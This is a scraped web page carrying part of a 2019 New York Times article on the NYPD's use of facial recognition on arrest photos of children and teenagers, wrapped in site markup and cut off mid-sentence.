0-2.8-.4-3.9-1.6l4.1-2V6l-5 2.2C3.6 6.9 4.7 6 5.8 5.4l-.1-.3c-3 .8-5.7 3.6-5.7 7 0 4 3.3 7 7 7 4 0 6.6-3.2 6.6-6.5h-.2c-.6 1.3-1.5 2.5-2.6 3.1v-4.1l1.6-1.3v-.1l-1.6-1.3V5.8c1.5 0 3-1 3-2.9zm-8.7 11l-1.2.6c-.7-.9-1.1-2.1-1.1-3.8 0-.7 0-1.5.2-2.1l2.1-.9v6.2zm10.6 2.3l-1.3 1 .2.2.6-.5 2.2 2 3-2-.1-.2-.8.5-1-1V9.4l.8-.6 1.7 1.4v6.1c0 3.8-.8 4.4-2.5 5v.3c2.8.1 5.4-.8 5.4-5.7V9.3l.9-.7-.2-.2-.8.6-2.5-2.1L18.5 9V.8h-.2l-3.5 2.4v.2c.4.2 1 .4 1 1.5l-.1 11.3zM34 15.1L31.5 17 29 15v-1.2l4.7-3.2v-.1l-2.4-3.6-5.2 2.8v6.6l-1 .8.2.2.9-.7 3.4 2.5 4.5-3.6-.1-.4zm-5-1.7V8.5l.2-.1 2.2 3.5-2.4 1.5zM53.1 2c0-.3-.1-.6-.2-.9h-.2c-.3.8-.7 1.2-1.7 1.2-.9 0-1.5-.5-1.9-.9l-2.9 3.3.2.2 1-.9c.6.5 1.1.9 2.5 1v8.3L44 3.2c-.5-.8-1.2-1.9-2.6-1.9-1.6 0-3 1.4-2.8 3.6h.3c.1-.6.4-1.3 1.1-1.3.5 0 1 .5 1.3 1v3.3c-1.8 0-3 .8-3 2.3 0 .8.4 2 1.6 2.3v-.2c-.2-.2-.3-.4-.3-.7 0-.5.4-.9 1.1-.9h.5v4.2c-2.1 0-3.8 1.2-3.8 3.2 0 1.9 1.6 2.8 3.4 2.7v-.2c-1.1-.1-1.6-.6-1.6-1.3 0-.9.6-1.3 1.4-1.3.8 0 1.5.5 2 1.1l2.9-3.2-.2-.2-.7.8c-1.1-1-1.7-1.3-3-1.5V5l8 14h.6V5c1.5-.1 2.9-1.3 2.9-3zm7.3 13.1L57.9 17l-2.5-2v-1.2l4.7-3.2v-.1l-2.4-3.6-5.2 2.8v6.6l-1 .8.2.2.9-.7 3.4 2.5 4.5-3.6-.1-.4zm-5-1.7V8.5l.2-.1 2.2 3.5-2.4 1.5zM76.7 8l-.7.5-1.9-1.6-2.2 2 .9.9v7.5l-2.4-1.5V9.6l.8-.5-2.3-2.2-2.2 2 .9.9V17l-.3.2-2.1-1.5v-6c0-1.4-.7-1.8-1.5-2.3-.7-.5-1.1-.8-1.1-1.5 0-.6.6-.9.9-1.1v-.2c-.8 0-2.9.8-2.9 2.7 0 1 .5 1.4 1 1.9s1 .9 1 1.8v5.8l-1.1.8.2.2 1-.8 2.3 2 2.5-1.7 2.8 1.7 5.3-3.1V9.2l1.3-1-.2-.2zm18.6-5.5l-1 .9-2.2-2-3.3 2.4V1.6h-.3l.1 16.2c-.3 0-1.2-.2-1.9-.4l-.2-13.5c0-1-.7-2.4-2.5-2.4s-3 1.4-3 2.8h.3c.1-.6.4-1.1 1-1.1s1.1.4 1.1 1.7v3.9c-1.8.1-2.9 1.1-2.9 2.4 0 .8.4 2 1.6 2V13c-.4-.2-.5-.5-.5-.7 0-.6.5-.8 1.3-.8h.4v6.2c-1.5.5-2.1 1.6-2.1 2.8 0 1.7 1.3 2.9 3.3 2.9 1.4 0 2.6-.2 3.8-.5 1-.2 2.3-.5 2.9-.5.8 0 1.1.4 1.1.9 0 .7-.3 1-.7 1.1v.2c1.6-.3 2.6-1.3 2.6-2.8s-1.5-2.4-3.1-2.4c-.8 0-2.5.3-3.7.5-1.4.3-2.8.5-3.2.5-.7 0-1.5-.3-1.5-1.3 0-.8.7-1.5 2.4-1.5.9 0 2 .1 3.1.4 1.2.3 2.3.6 3.3.6 1.5 0 2.8-.5 2.8-2.6V3.7l1.2-1-.2-.2zm-4.1 6.1c-.3.3-.7.6-1.2.6s-1-.3-1.2-.6V4.2l1-.7 1.4 1.3v3.8zm0 3c-.2-.2-.7-.5-1.2-.5s-1 .3-1.2.5V9c.2.2.7.5 1.2.5s1-.3 1.2-.5v2.6zm0 4.7c0 .8-.5 1.6-1.6 1.6h-.8V12c.2-.2.7-.5 1.2-.5s.9.3 1.2.5v4.3zm13.7-7.1l-3.2-2.3-4.9 2.8v6.5l-1 .8.1.2.8-.6 3.2 2.4 5-3V9.2zm-5.4 6.3V8.3l2.5 1.8v7.1l-2.5-1.7zm14.9-8.4h-.2c-.3.2-.6.4-.9.4-.4 0-.9-.2-1.1-.5h-.2l-1.7 1.9-1.7-1.9-3 2 .1.2.8-.5 1 1.1v6.3l-1.3 1 .2.2.6-.5 2.4 2 3.1-2.1-.1-.2-.9.5-1.2-1V9c.5.5 1.1 1 1.8 1 1.4.1 2.2-1.3 2.3-2.9zm12 9.6L123 19l-4.6-7 3.3-5.1h.2c.4.4 1 .8 1.7.8s1.2-.4 1.5-.8h.2c-.1 2-1.5 3.2-2.5 3.2s-1.5-.5-2.1-.8l-.3.5 5 7.4 1-.6v.1zm-11-.5l-1.3 1 .2.2.6-.5 2.2 2 3-2-.2-.2-.8.5-1-1V.8h-.1l-3.6 2.4v.2c.4.2 1 .3 1 1.5v11.3zM143 2.9c0-2-1.9-2.5-3.4-2.5v.3c.9 0 1.6.3 1.6 1 0 .4-.3 1-1.2 1-.7 0-2.2-.4-3.3-.8-1.3-.4-2.5-.8-3.5-.8-2 0-3.4 1.5-3.4 3.2 0 1.5 1.1 2 1.5 2.2l.1-.2c-.3-.2-.6-.4-.6-1 0-.4.4-1.1 1.4-1.1.9 0 2.1.4 3.7.9 1.4.4 2.9.7 3.7.8V9l-1.5 1.3v.1l1.5 1.3V16c-.8.5-1.7.6-2.5.6-1.5 0-2.8-.4-3.9-1.6l4.1-2V6l-5 2.2c.5-1.3 1.6-2.2 2.6-2.9l-.1-.2c-3 .8-5.7 3.5-5.7 6.9 0 4 3.3 7 7 7 4 0 6.6-3.2 6.6-6.5h-.2c-.6 1.3-1.5 2.5-2.6 3.1v-4.1l1.6-1.3v-.1L140 8.8v-3c1.5 0 3-1 3-2.9zm-8.7 11l-1.2.6c-.7-.9-1.1-2.1-1.1-3.8 0-.7.1-1.5.3-2.1l2.1-.9-.1 6.2zm12.2-12h-.1l-2 1.7v.1l1.7 1.9h.2l2-1.7v-.1l-1.8-1.9zm3 14.8l-.8.5-1-1V9.3l1-.7-.2-.2-.7.6-1.8-2.1-2.9 2 .2.3.7-.5.9 1.1v6.5l-1.3 1 .1.2.7-.5 2.2 2 3-2-.1-.3zm16.7-.1l-.7.5-1.1-1V9.3l1-.8-.2-.2-.8.7-2.3-2.1-3 2.1-2.3-2.1L154 9l-1.8-2.1-2.9 2 .1.3.7-.5 1 1.1v6.5l-.8.8 2.3 1.9 2.2-2-.9-.9V9.3l.9-.6 1.5 1.4v6l-.8.8 2.3 1.9 2.2-2-.9-.9V9.3l.8-.5 1.6 1.4v6l-.7.7 2.3 2.1 3.1-2.1v-.3zm8.7-1.5l-2.5 1.9-2.5-2v-1.2l4.7-3.2v-.1l-2.4-3.6-5.2 2.8v6.8l3.5 2.5 4.5-3.6-.1-.3zm-5-1.7V8.5l.2-.1 2.2 3.5-2.4 1.5zm14.1-.9l-1.9-1.5c1.3-1.1 1.8-2.6 1.8-3.6v-.6h-.2c-.2.5-.6 1-1.4 1-.8 0-1.3-.4-1.8-1L176 9.3v3.6l1.7 1.3c-1.7 1.5-2 2.5-2 3.3 0 1 .5 1.7 1.3 2l.1-.2c-.2-.2-.4-.3-.4-.8 0-.3.4-.8 1.2-.8 1 0 1.6.7 1.9 1l4.3-2.6v-3.6h-.1zm-1.1-3c-.7 1.2-2.2 2.4-3.1 3l-1.1-.9V8.1c.4 1 1.5 1.8 2.6 1.8.7 0 1.1-.1 1.6-.4zm-1.7 8c-.5-1.1-1.7-1.9-2.9-1.9-.3 0-1.1 0-1.9.5.5-.8 1.8-2.2 3.5-3.2l1.2 1 .1 3.6z"></path></svg></a></div></span></div><div class="css-1705lsu"><div class=""><div role="toolbar" aria-label="Social Media Share buttons, Save button, and Comments Panel with current comment count" class="css-4skfbu" data-testid="share-tools"><ul class="css-y8aj3r"><li class="css-1fcn4th"><a href="https://www.facebook.com/dialog/feed?app_id=9869919170&amp;link=https%3A%2F%2Fwww.nytimes.com%2F2019%2F08%2F01%2Fnyregion%2Fnypd-facial-recognition-children-teenagers.html&amp;smid=fb-share&amp;name=She%20Was%20Arrested%20at%2014.%20Then%20Her%20Photo%20Went%20to%20a%20Facial%20Recognition%20Database.&amp;redirect_uri=https%3A%2F%2Fwww.facebook.com%2F" target="_blank" rel="noopener noreferrer" aria-label="Share on Facebook"><svg class="css-13zu7ev" viewBox="0 0 7 15" width="7" height="15"><path fill-rule="evenodd" clip-rule="evenodd" d="M4.775 14.163V7.08h1.923l.255-2.441H4.775l.004-1.222c0-.636.06-.977.958-.977H6.94V0H5.016c-2.31 0-3.123 1.184-3.123 3.175V4.64H.453v2.44h1.44v7.083h2.882z" fill="#000"></path></svg></a></li><li class="css-1fcn4th"><a href="https://twitter.com/intent/tweet?url=https%3A%2F%2Fnyti.ms%2F2GEzuZ8&amp;text=She%20Was%20Arrested%20at%2014.%20Then%20Her%20Photo%20Went%20to%20a%20Facial%20Recognition%20Database." target="_blank" rel="noopener noreferrer" aria-label="Share on Twitter"><svg viewBox="0 0 13 10" class="css-13zu7ev" width="13" height="10"><path fill-rule="evenodd" clip-rule="evenodd" d="M5.987 2.772l.025.425-.429-.052c-1.562-.2-2.927-.876-4.086-2.011L.93.571.784.987c-.309.927-.111 1.906.533 2.565.343.364.266.416-.327.2-.206-.07-.386-.122-.403-.096-.06.06.146.85.309 1.161.223.434.678.858 1.176 1.11l.42.199-.497.009c-.481 0-.498.008-.447.19.172.564.85 1.162 1.606 1.422l.532.182-.464.277a4.833 4.833 0 0 1-2.3.641c-.387.009-.704.044-.704.07 0 .086 1.047.572 1.657.762 1.828.564 4 .32 5.631-.641 1.159-.685 2.318-2.045 2.859-3.363.292-.702.583-1.984.583-2.6 0-.398.026-.45.507-.927.283-.277.55-.58.6-.667.087-.165.078-.165-.36-.018-.73.26-.832.226-.472-.164.266-.278.584-.78.584-.928 0-.026-.129.018-.275.096a4.79 4.79 0 0 1-.755.294l-.464.148-.42-.286C9.66.467 9.335.293 9.163.24 8.725.12 8.055.137 7.66.276c-1.074.39-1.752 1.395-1.674 2.496z" fill="#000"></path></svg></a></li><li class="css-1fcn4th"><a href="mailto:?subject=NYTimes.com%3A%20She%20Was%20Arrested%20at%2014.%20Then%20Her%20Photo%20Went%20to%20a%20Facial%20Recognition%20Database.&amp;body=From%20The%20New%20York%20Times%3A%0A%0AShe%20Was%20Arrested%20at%2014.%20Then%20Her%20Photo%20Went%20to%20a%20Facial%20Recognition%20Database.%0A%0AWith%20little%20oversight%2C%20the%20N.Y.P.D.%20has%20been%20using%20powerful%20surveillance%20technology%20on%20photos%20of%20children%20and%20teenagers.%0A%0Ahttps%3A%2F%2Fwww.nytimes.com%2F2019%2F08%2F01%2Fnyregion%2Fnypd-facial-recognition-children-teenagers.html" target="_blank" rel="noopener noreferrer" aria-label="Email"><svg viewBox="0 0 15 9" class="css-13zu7ev" width="15" height="9"><path fill-rule="evenodd" clip-rule="evenodd" d="M.906 8.418V0L5.64 4.76.906 8.419zm13 0L9.174 4.761 13.906 0v8.418zM7.407 6.539l-1.13-1.137L.907 9h13l-5.37-3.598-1.13 1.137zM1.297 0h12.22l-6.11 5.095L1.297 0z" fill="#000"></path></svg></a></li><li class="css-1fcn4th"><div class="css-6n7j50"><button aria-haspopup="true" aria-expanded="false" aria-label="More sharing options" class="css-16ogagc" data-testid=""><svg class="css-f7l8cz" viewBox="0 0 16 13" width="16" height="13"><path fill-rule="evenodd" clip-rule="evenodd" d="M15.406 5.359L8.978 0v3.215C3.82 3.215.406 8.107.406 12.66 1.653 9.133 4.29 7.517 8.978 7.517v3.2l6.428-5.358z" fill="#000"></path></svg></button></div></li><li class="css-60hakz"></li><li class="css-l72opv"></li></ul></div></div></div></div></div></div><meta itemProp="isAccessibleForFree" content="false"/><span itemProp="isPartOf" itemscope="" itemType="http://schema.org/CreativeWork http://schema.org/Product"><meta itemProp="name" content="The New York Times"/><meta itemProp="productID" content="nytimes.com:basic"/></span><article id="story" class="css-1vxca1d e1qksbhf0"><div id="top-wrapper" class="css-1sy8kpn"><div id="top-slug" class="css-l9onyx"><p>Advertisement</p></div><div class="ad top-wrapper" style="text-align:center;height:100%;display:block;min-height:250px"><div id="top" class="place-ad" data-position="top"></div></div></div><span itemProp="hasPart" itemscope="" itemType="http://schema.org/WebPageElement"><meta itemProp="isAccessibleForFree" content="False"/><meta itemProp="cssSelector" content=".meteredContent"/></span><div><header class="css-llk6mt euiyums4"><div id="sponsor-wrapper" class="css-1hyfx7x"><div id="sponsor-slug" class="css-19vbshk"><p>Supported by</p></div><div class="ad sponsor-wrapper" style="text-align:center;height:100%;display:block"><div id="sponsor" class="" data-position="sponsor"></div></div></div><div class="css-11n4cex euiyums3"></div><div class="css-1vkm6nb ehdk2mb0"><h1 itemProp="headline" class="css-1s4ffep e1h9rw200" id="link-2df79d6c"><span>She Was Arrested at 14. Then Her Photo Went to a Facial Recognition Database.</span></h1></div><p class="css-1ifw933 e1wiw3jv0">With little oversight, the N.Y.P.D. has been using powerful surveillance technology on photos of children and teenagers.</p><div class="css-79elbk" data-testid="photoviewer-wrapper"><div class="css-z3e15g" data-testid="photoviewer-wrapper-hidden"></div><div data-testid="photoviewer-children" class="css-1a48zt4 ehw59r15"><figure class="sizeMedium layoutVertical css-1ox9jel" aria-label="media" role="group" itemscope="" itemProp="associatedMedia" itemID="https://static01.nyt.com/images/2019/07/30/nyregion/00nypd-juveniles/merlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-articleLarge.jpg?quality=90&amp;auto=webp" itemType="http://schema.org/ImageObject"><div class="css-bsn42l"><span class="css-1dv1kvn">Image</span><img alt="“It’s very disturbing to know that no matter what I’m doing at that moment, someone might be scanning my picture to try to find someone who committed a crime,” said Bailey, who pleaded guilty to an assault that occurred when she was 14." class="css-11cwn6f" src="https://static01.nyt.com/images/2019/07/30/nyregion/00nypd-juveniles/merlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-articleLarge.jpg?quality=75&amp;auto=webp&amp;disable=upscale" srcSet="https://static01.nyt.com/images/2019/07/30/nyregion/00nypd-juveniles/merlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-articleLarge.jpg?quality=90&amp;auto=webp 600w,https://static01.nyt.com/images/2019/07/30/nyregion/00nypd-juveniles/merlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-jumbo.jpg?quality=90&amp;auto=webp 683w,https://static01.nyt.com/images/2019/07/30/nyregion/00nypd-juveniles/merlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-superJumbo.jpg?quality=90&amp;auto=webp 1366w" sizes="((min-width: 600px) and (max-width: 1004px)) 84vw, (min-width: 1005px) 60vw, 100vw" itemProp="url" itemID="https://static01.nyt.com/images/2019/07/30/nyregion/00nypd-juveniles/merlin_157762122_e2d17c00-b58b-4baf-b9cb-4326ac7cbcef-articleLarge.jpg?quality=75&amp;auto=webp&amp;disable=upscale"/></div><figcaption itemProp="caption description" class="css-17ai7jg emkp2hg0"><span aria-hidden="true" class="css-8i9d0s e13ogyst0">“It’s very disturbing to know that no matter what I’m doing at that moment, someone might be scanning my picture to try to find someone who committed a crime,” said Bailey, who pleaded guilty to an assault that occurred when she was 14.</span><span itemProp="copyrightHolder" class="emkp2hg2 css-1nwzsjy e1z0qqy90"><span class="css-1ly73wi e1tej78p0">Credit</span><span><span class="css-1dv1kvn">Credit</span><span>Sarah Blesener for The New York Times</span></span></span></figcaption></figure></div></div><div class="css-acwcvw epjyd6m0"><div class="css-pdw9fk epjyd6m1"><div class="css-1txwxcy ey68jwv0"><a href="https://www.nytimes.com/by/joseph-goldstein" class="css-uwwqev"><img alt="Joseph Goldstein" title="Joseph Goldstein" src="https://static01.nyt.com/images/2018/07/16/multimedia/author-joseph-goldstein/author-joseph-goldstein-thumbLarge.png" class="css-1rjmmt7 ey68jwv2"/></a><a href="https://www.nytimes.com/by/ali-watkins" class="css-uwwqev"><img alt="Ali Watkins" title="Ali Watkins" src="https://static01.nyt.com/images/2019/02/20/multimedia/author-ali-watkins/author-ali-watkins-thumbLarge.png" class="css-1rjmmt7 ey68jwv2"/></a></div><div class="css-1baulvz"><p class="css-1nuro5j e1jsehar1" itemProp="author" itemscope="" itemType="http://schema.org/Person">By<!-- --> <a href="https://www.nytimes.com/by/joseph-goldstein" class="css-1riqqik e1jsehar0"><span class="css-1baulvz" itemProp="name">Joseph Goldstein</span></a> and <a href="https://www.nytimes.com/by/ali-watkins" class="css-1riqqik e1jsehar0"><span class="css-1baulvz last-byline" itemProp="name">Ali Watkins</span></a></p></div></div><ul class="css-1w5cs23 epjyd6m2"><li><time class="css-rqb9bm e16638kd0" dateTime="2019-08-01">Aug 1, 2019</time></li><li class="css-6n7j50"><div class=""><div role="toolbar" aria-label="Social Media Share buttons, Save button, and Comments Panel with current comment count" class="css-d8bdto" data-testid="share-tools"><ul class="css-y8aj3r"><li class="css-60hakz"><a href="https://www.facebook.com/dialog/feed?app_id=9869919170&amp;link=https%3A%2F%2Fwww.nytimes.com%2F2019%2F08%2F01%2Fnyregion%2Fnypd-facial-recognition-children-teenagers.html&amp;smid=fb-share&amp;name=She%20Was%20Arrested%20at%2014.%20Then%20Her%20Photo%20Went%20to%20a%20Facial%20Recognition%20Database.&amp;redirect_uri=https%3A%2F%2Fwww.facebook.com%2F" target="_blank" rel="noopener noreferrer" aria-label="Share on Facebook"><svg class="css-4brsb6" viewBox="0 0 7 15" width="7" height="15"><path fill-rule="evenodd" clip-rule="evenodd" d="M4.775 14.163V7.08h1.923l.255-2.441H4.775l.004-1.222c0-.636.06-.977.958-.977H6.94V0H5.016c-2.31 0-3.123 1.184-3.123 3.175V4.64H.453v2.44h1.44v7.083h2.882z" fill="#000"></path></svg></a></li><li class="css-60hakz"><a href="https://twitter.com/intent/tweet?url=https%3A%2F%2Fnyti.ms%2F2GEzuZ8&amp;text=She%20Was%20Arrested%20at%2014.%20Then%20Her%20Photo%20Went%20to%20a%20Facial%20Recognition%20Database." target="_blank" rel="noopener noreferrer" aria-label="Share on Twitter"><svg viewBox="0 0 13 10" class="css-4brsb6" width="13" height="10"><path fill-rule="evenodd" clip-rule="evenodd" d="M5.987 2.772l.025.425-.429-.052c-1.562-.2-2.927-.876-4.086-2.011L.93.571.784.987c-.309.927-.111 1.906.533 2.565.343.364.266.416-.327.2-.206-.07-.386-.122-.403-.096-.06.06.146.85.309 1.161.223.434.678.858 1.176 1.11l.42.199-.497.009c-.481 0-.498.008-.447.19.172.564.85 1.162 1.606 1.422l.532.182-.464.277a4.833 4.833 0 0 1-2.3.641c-.387.009-.704.044-.704.07 0 .086 1.047.572 1.657.762 1.828.564 4 .32 5.631-.641 1.159-.685 2.318-2.045 2.859-3.363.292-.702.583-1.984.583-2.6 0-.398.026-.45.507-.927.283-.277.55-.58.6-.667.087-.165.078-.165-.36-.018-.73.26-.832.226-.472-.164.266-.278.584-.78.584-.928 0-.026-.129.018-.275.096a4.79 4.79 0 0 1-.755.294l-.464.148-.42-.286C9.66.467 9.335.293 9.163.24 8.725.12 8.055.137 7.66.276c-1.074.39-1.752 1.395-1.674 2.496z" fill="#000"></path></svg></a></li><li class="css-60hakz"><a href="mailto:?subject=NYTimes.com%3A%20She%20Was%20Arrested%20at%2014.%20Then%20Her%20Photo%20Went%20to%20a%20Facial%20Recognition%20Database.&amp;body=From%20The%20New%20York%20Times%3A%0A%0AShe%20Was%20Arrested%20at%2014.%20Then%20Her%20Photo%20Went%20to%20a%20Facial%20Recognition%20Database.%0A%0AWith%20little%20oversight%2C%20the%20N.Y.P.D.%20has%20been%20using%20powerful%20surveillance%20technology%20on%20photos%20of%20children%20and%20teenagers.%0A%0Ahttps%3A%2F%2Fwww.nytimes.com%2F2019%2F08%2F01%2Fnyregion%2Fnypd-facial-recognition-children-teenagers.html" target="_blank" rel="noopener noreferrer" aria-label="Email"><svg viewBox="0 0 15 9" class="css-4brsb6" width="15" height="9"><path fill-rule="evenodd" clip-rule="evenodd" d="M.906 8.418V0L5.64 4.76.906 8.419zm13 0L9.174 4.761 13.906 0v8.418zM7.407 6.539l-1.13-1.137L.907 9h13l-5.37-3.598-1.13 1.137zM1.297 0h12.22l-6.11 5.095L1.297 0z" fill="#000"></path></svg></a></li><li class="css-60hakz"><div class="css-6n7j50"><button aria-haspopup="true" aria-expanded="false" aria-label="More sharing options" class="css-16ogagc" data-testid=""><svg class="css-uhuo44" viewBox="0 0 16 13" width="16" height="13"><path fill-rule="evenodd" clip-rule="evenodd" d="M15.406 5.359L8.978 0v3.215C3.82 3.215.406 8.107.406 12.66 1.653 9.133 4.29 7.517 8.978 7.517v3.2l6.428-5.358z" fill="#000"></path></svg></button></div></li><li class="css-60hakz"></li><li class="css-l72opv"></li></ul></div></div></li></ul></div></header></div><section name="articleBody" itemProp="articleBody" class="meteredContent css-1i2y565"><div class="css-1fanzo5 StoryBodyCompanionColumn"><div class="css-53u6y8"><p class="css-exrw3m evys1bk0"><em class="css-2fg4z9 e1gzwzxm0">[What you need to know to start the day: </em><a class="css-1g7m0tk" href="https://www.nytimes.com/newsletters/newyorktoday?module=inline" title=""><em class="css-2fg4z9 e1gzwzxm0">Get New York Today in your inbox</em></a><em class="css-2fg4z9 e1gzwzxm0">.]</em></p><p class="css-exrw3m evys1bk0">The New York Police Department has been loading <!-- -->thousands of arrest photos of children and teenagers<!-- --> into a facial recognition database despite evidence the technology has a higher risk of false matches in younger faces. </p><p class="css-exrw3m evys1bk0">For about four years, internal records show, the department has used the technology to compare crime scene images with its collection of juvenile mug <!-- -->shots<!-- -->, the photos that are taken at an arrest. Most of the photos are of teenagers, largely 13 to 16 years old, but children as young as 11 have been included. </p><p class="css-exrw3m evys1bk0">Elected officials and civil rights groups said the disclosure that the city was deploying a powerful surveillance tool on adolescents — whose privacy seems sacrosanct and whose status is protected in the criminal justice system — was a striking example of the Police Department’s ability to adopt advancing technology with little public scrutiny.</p><p class="css-exrw3m evys1bk0">Several members of the City Council as well as a range of civil liberties groups said they were unaware of the policy until they were contacted by The New York Times. </p></div><aside class="css-o6xoe7"></aside></div><div class="css-1fanzo5 StoryBodyCompanionColumn"><div class="css-53u6y8"><p class="css-exrw3m evys1bk0">Police <!-- -->Department officials defended the decision, <!-- -->saying it was just the latest evolution of a longstanding policing technique: using arrest photos to identify suspects.</p><p class="css-exrw3m evys1bk0">“I don’t think this is any secret decision that’s made behind closed doors,” the city’s chief of detectives, Dermot F. Shea, said in an interview. “This is just process, and making sure we’re doing everything to fight crime.” </p><p class="css-exrw3m evys1bk0">Other cities have begun to debate whether law enforcement should use facial recognition, which relies on an algorithm to quickly pore through images and suggest matches. In May, <a class="css-1g7m0tk" href="https://www.nytimes.com/2019/05/14/us/facial-recognition-ban-san-francisco.html?module=inline" title="">San Francisco blocked city agencies, including the police</a>, from using the tool amid unease about potential government <!-- -->abuse<!-- -->. <a class="css-1g7m0tk" href="https://www.nytimes.com/2019/07/08/us/detroit-facial-recognition-cameras.html?module=inline" title="">Detroit is facing public resistance to a technology </a>that has been shown to have lower accuracy with people with darker skin. </p><p class="css-exrw3m evys1bk0">In New York, the state Education Department recently told the Lockport, N.Y., <!-- -->school district to delay a plan to use facial recognition on students, citing privacy concerns. </p><p class="css-exrw3m evys1bk0">“At the end <!-- -->of the day, it should be banned — no young people,” said <!-- -->Councilman Donovan Richards<!-- -->, a Queens Democrat who heads the Public Safety Committee, which oversees the Police Department. </p></div><aside class="css-o6xoe7"></aside></div><div class="css-1fanzo5 StoryBodyCompanionColumn"><div class="css-53u6y8"><p class="css-exrw3m evys1bk0">The department said its legal bureau had approved using facial recognition on juveniles. <a class="css-1g7m0tk" href="https://www.nytimes.com/2019/06/09/opinion/facial-recognition-police-new-york-city.html?module=inline" title="">The algorithm may suggest a lead, but detectives would not make an arrest based solely on </a><a class="css-1g7m0tk" href="https://www.nytimes.com/2019/06/09/opinion/facial-recognition-police-new-york-city.html?module=inline" title="">that</a>, Chief Shea said.</p></div><aside class="css-o6xoe7"></aside></div><div class="css-79elbk" data-testid="photoviewer-wrapper"><div class="css-z3e15g" data-testid="photoviewer-wrapper-hidden"></div><div data-testid="photoviewer-children" class="css-1a48zt4 ehw59r15"><figure class="css-jcw7oy e1g7ppur0" aria-label="media" role="group" itemProp="associatedMedia" itemscope="" itemID="https://static01.nyt.com/images/2019/08/02/nyregion/02nypdjuveniles1-print/merlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-articleLarge.jpg?quality=90&amp;auto=webp" itemType="http://schema.org/ImageObject"><div class="css-1xdhyk6 erfvjey0"><span class="css-1ly73wi e1tej78p0">Image</span><img alt="Dermot Shea, the city&amp;rsquo;s chief of detectives, said investigators would not arrest anyone based solely on a facial recognition match." class="css-1m50asq" src="https://static01.nyt.com/images/2019/08/02/nyregion/02nypdjuveniles1-print/merlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-articleLarge.jpg?quality=75&amp;auto=webp&amp;disable=upscale" srcSet="https://static01.nyt.com/images/2019/08/02/nyregion/02nypdjuveniles1-print/merlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-articleLarge.jpg?quality=90&amp;auto=webp 600w,https://static01.nyt.com/images/2019/08/02/nyregion/02nypdjuveniles1-print/merlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-jumbo.jpg?quality=90&amp;auto=webp 1024w,https://static01.nyt.com/images/2019/08/02/nyregion/02nypdjuveniles1-print/merlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-superJumbo.jpg?quality=90&amp;auto=webp 2048w" sizes="((min-width: 600px) and (max-width: 1004px)) 84vw, (min-width: 1005px) 60vw, 100vw" itemProp="url" itemID="https://static01.nyt.com/images/2019/08/02/nyregion/02nypdjuveniles1-print/merlin_152191512_83c5140a-fad8-400e-b645-a28f31fd7d26-articleLarge.jpg?quality=75&amp;auto=webp&amp;disable=upscale"/></div><figcaption itemProp="caption description" class="css-1l44abu e1xdpqjp0"><span aria-hidden="true" class="css-8i9d0s e13ogyst0">Dermot Shea, the city&rsquo;s chief of detectives, said investigators would not arrest anyone based solely on a facial recognition match.</span><span itemProp="copyrightHolder" class="css-vuqh7u e1z0qqy90"><span class="css-1ly73wi e1tej78p0">Credit</span><span>Chang W. Lee/The New York Times</span></span></figcaption></figure></div></div><div class="css-1fanzo5 StoryBodyCompanionColumn"><div class="css-53u6y8"><p class="css-exrw3m evys1bk0">Still, facial recognition has not been widely tested on children. Most algorithms are taught to “think” based on adult faces, and there is growing evidence that they do not work as well on children. </p><p class="css-exrw3m evys1bk0">The National Institute of Standards and Technology<!-- -->, which is part of the Commerce Department and <a class="css-1g7m0tk" href="https://nvlpubs.nist.gov/nistpubs/ir/2018/NIST.IR.8238.pdf" title="" rel="noopener noreferrer" target="_blank">evaluates facial recognition </a><a class="css-1g7m0tk" href="https://nvlpubs.nist.gov/nistpubs/ir/2018/NIST.IR.8238.pdf" title="" rel="noopener noreferrer" target="_blank">algorithms</a> for accuracy, recently found the <!-- -->vast majority of more than 100 <!-- -->facial recognition <!-- -->algorithms had a higher rate of mistaken matches among children. The <!-- -->e<!-- -->rror rate was most pronounced in young children but was also seen in those aged 10 to 16.</p><p class="css-exrw3m evys1bk0">Aging poses another problem:<!-- --> The appearance of children and adolescents can change <!-- --> drastically as bones stretch and shift, altering the underlying facial structure. </p><p class="css-exrw3m evys1bk0">“I would use extreme caution in using those algorithms,” said <!-- -->Karl Ricanek Jr.<!-- -->, a computer science professor and <!-- -->co-founder of the Face Aging Group at the University of North Carolina-<!-- -->Wilmington<!-- -->. </p><p class="css-exrw3m evys1bk0">Technology that can match an image of a younger teenager to a recent arrest photo may be less effective at finding the same person even one or two years later, he said. </p></div><aside class="css-o6xoe7"></aside></div><div class="css-1fanzo5 StoryBodyCompanionColumn"><div class="css-53u6y8"><p class="css-exrw3m evys1bk0"> “The systems do not have the capacity to understand the dynamic changes that occur to a child’s face,” Dr. Ricanek said. </p><p class="css-exrw3m evys1bk0">Idemia<!-- --> and <!-- -->DataWorks Plus<!-- -->, the two companies that provide facial recognition software to the Police Department, did not respond to requests for comment. </p><p class="css-exrw3m evys1bk0">The New York Police Department can take arrest photos of minors as young as <!-- -->11<!-- --> who are charged with a felony, depending on the severity of the charge. </p><p class="css-exrw3m evys1bk0">And in many cases, the department keeps the photos for years, making facial recognition comparisons to what may have effectively become outdated images. There are photos of 5,500 individuals in the juvenile database, 4,100 of whom are no longer 16 or under, the department said. Teenagers 17 and older are considered adults in the criminal justice system. </p><p class="css-exrw3m evys1bk0">Police officials declined to provide statistics on how often their facial recognition systems provide false matches, or to explain how they evaluate the system’s effectiveness.</p><p class="css-exrw3m evys1bk0">“We are comfortable with this technology because it has proved to be a valuable investigative method,” Chief Shea said. Facial recognition has helped lead to thousands of arrests of both adults and juveniles, the department has said. </p><p class="css-exrw3m evys1bk0">Mayor Bill de Blasio had been aware the department was using the technology on minors, said Freddi Goldstein, a spokeswoman for the mayor. </p></div><aside class="css-o6xoe7"></aside></div><div class="css-1fanzo5 StoryBodyCompanionColumn"><div class="css-53u6y8"><p class="css-exrw3m evys1bk0">She said the Police Department followed “strict guidelines” in applying the technology and City Hall monitored the agency’s compliance with the policies. </p><p class="css-exrw3m evys1bk0">The Times learned details of the department’s use of facial recognition by 